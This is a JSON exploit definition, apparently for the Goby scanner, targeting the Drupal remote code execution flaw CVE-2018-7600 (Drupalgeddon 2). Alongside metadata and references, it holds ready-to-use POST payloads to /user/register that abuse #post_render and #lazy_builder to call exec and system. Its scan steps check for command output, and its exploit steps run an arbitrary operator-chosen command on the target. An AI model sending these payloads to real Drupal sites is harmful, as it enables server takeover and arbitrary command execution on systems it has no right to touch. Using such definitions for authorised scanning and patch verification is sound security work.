{
  "Name": "Drupal Core Multiple Remote Code Execution Vulnerabilities(CVE-2018-7600)",
  "Description": "Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.",
  "Product": "Drupal",
  "Homepage": "http://www.drupal.org/",
  "DisclosureDate": "2018-03-29",
  "Author": "mahui@gobies.org",
  "GifAddress": "https://raw.githubusercontent.com/gobysec/GobyVuls/master/Drupal/CVE-2018-7600/CVE-2018-7600.gif",
  "FofaQuery": "app=\"Drupal\"",
  "Level": "3",
  "Impact": "<p>黑客可在服务器上执行任意命令，写入后门，从而入侵服务器，获取服务器的管理员权限，危害巨大。</p>",
  "Recommendation": "<p>严格过滤用户输入的数据，禁止执行系统命令。</p>",
  "References": [
    "http://www.securityfocus.com/bid/103534",
    "http://www.securitytracker.com/id/1040598",
    "https://badpackets.net/over-100000-drupal-websites-vulnerable-to-drupalgeddon-2-cve-2018-7600/",
    "https://blog.appsecco.com/remote-code-execution-with-drupal-core-sa-core-2018-002-95e6ecc0c714",
    "https://github.com/a2u/CVE-2018-7600",
    "https://github.com/g0rx/CVE-2018-7600-Drupal-RCE",
    "https://greysec.net/showthread.php?tid=2912\u0026pid=10561",
    "https://groups.drupal.org/security/faq-2018-002",
    "https://lists.debian.org/debian-lts-announce/2018/03/msg00028.html",
    "https://research.checkpoint.com/uncovering-drupalgeddon-2/",
    "https://twitter.com/RicterZ/status/979567469726613504",
    "https://twitter.com/RicterZ/status/984495201354854401",
    "https://twitter.com/arancaytar/status/979090719003627521",
    "https://www.debian.org/security/2018/dsa-4156",
    "https://www.drupal.org/sa-core-2018-002",
    "https://www.exploit-db.com/exploits/44448/",
    "https://www.exploit-db.com/exploits/44449/",
    "https://www.exploit-db.com/exploits/44482/",
    "https://www.synology.com/support/security/Synology_SA_18_17",
    "https://www.tenable.com/blog/critical-drupal-core-vulnerability-what-you-need-to-know",
    "https://nvd.nist.gov/vuln/detail/CVE-2018-7600",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600"
  ],
  "HasExp": true,
  "ExpParams": [
	{
		  "name": "cmd",
		  "type": "input",
		  "value": "whoami"
	}
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
	"OR",
	{
	  "Request": {
		"method": "POST",
		"uri": "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax",
		"follow_redirect": false,
		"header": {"Content-Type":"application/x-www-form-urlencoded"},
		"data_type": "text",
		"data": "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]= echo -n 'hello'|md5sum"
	  },
	  "ResponseTest": {
		"type": "group",
		"operation": "AND",
		"checks": [
		  {
			"type": "item",
			"variable": "$body",
			"operation": "contains",
			"value": "5d41402abc4b2a76b9719d911017c592",
			"bz": ""
		  },	
		  {
			"type": "item",
			"variable": "$code",
			"operation": "==",
			"value": "200",
			"bz": ""
		  }
		]
	  }
	},
	{
	  "Request": {
		"method": "POST",
		"uri": "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax&_wrapper_format=drupal_ajax",
		"follow_redirect": false,
		"header": {"Content-Type": "multipart/form-data; boundary=---------------------------2439998697108"},
		"data_type": "text",
		"data": "-----------------------------2439998697108\nContent-Disposition: form-data; name=\"mail[a][#lazy_builder][0]\"\n\nsystem\n-----------------------------2439998697108\nContent-Disposition: form-data; name=\"mail[a][#lazy_builder][1][]\"\n\necho 12'te2439998697108st'3456789\n-----------------------------2439998697108\nContent-Disposition: form-data; name=\"form_id\"\n\nuser_register_form\n-----------------------------2439998697108--\n"
	  },
	  "ResponseTest": {
		"type": "group",
		"operation": "AND",
		"checks": [
		  {
			"type": "item",
			"variable": "$body",
			"operation": "contains",
			"value": "12te2439998697108st3456789",
			"bz": ""
		  }
		]
	  }
	}
  ],
  "ExploitSteps": [
	"OR",
	{
	  "Request": {
		"method": "POST",
		"uri": "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax",
		"follow_redirect": true,
		"header": {"Content-Type":"application/x-www-form-urlencoded"},
		"data_type": "text",
		"data": "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]={{{cmd}}}"
	  },
	  "SetVariable": ["output|lastbody"]
	},
	{
	  "Request": {
		"method": "POST",
		"uri": "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax&_wrapper_format=drupal_ajax",
		"follow_redirect": false,
		"header": {"Content-Type": "multipart/form-data; boundary=---------------------------2439998697108"},
		"data_type": "text",
		"data": "-----------------------------2439998697108\nContent-Disposition: form-data; name=\"mail[a][#lazy_builder][0]\"\n\nsystem\n-----------------------------2439998697108\nContent-Disposition: form-data; name=\"mail[a][#lazy_builder][1][]\"\n\necho 12'te2439998697108st'3456789\n-----------------------------2439998697108\nContent-Disposition: form-data; name=\"form_id\"\n\nuser_register_form\n-----------------------------2439998697108--\n"
	  },
	  "SetVariable": ["output|lastbody"]
	}
  ],
  "Tags": ["rce"],
  "CVEIDs": [
    "CVE-2018-7600"
  ],
  "CVSSScore": "9.8",
  "AttackSurfaces": {
    "Application": ["Drupal"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}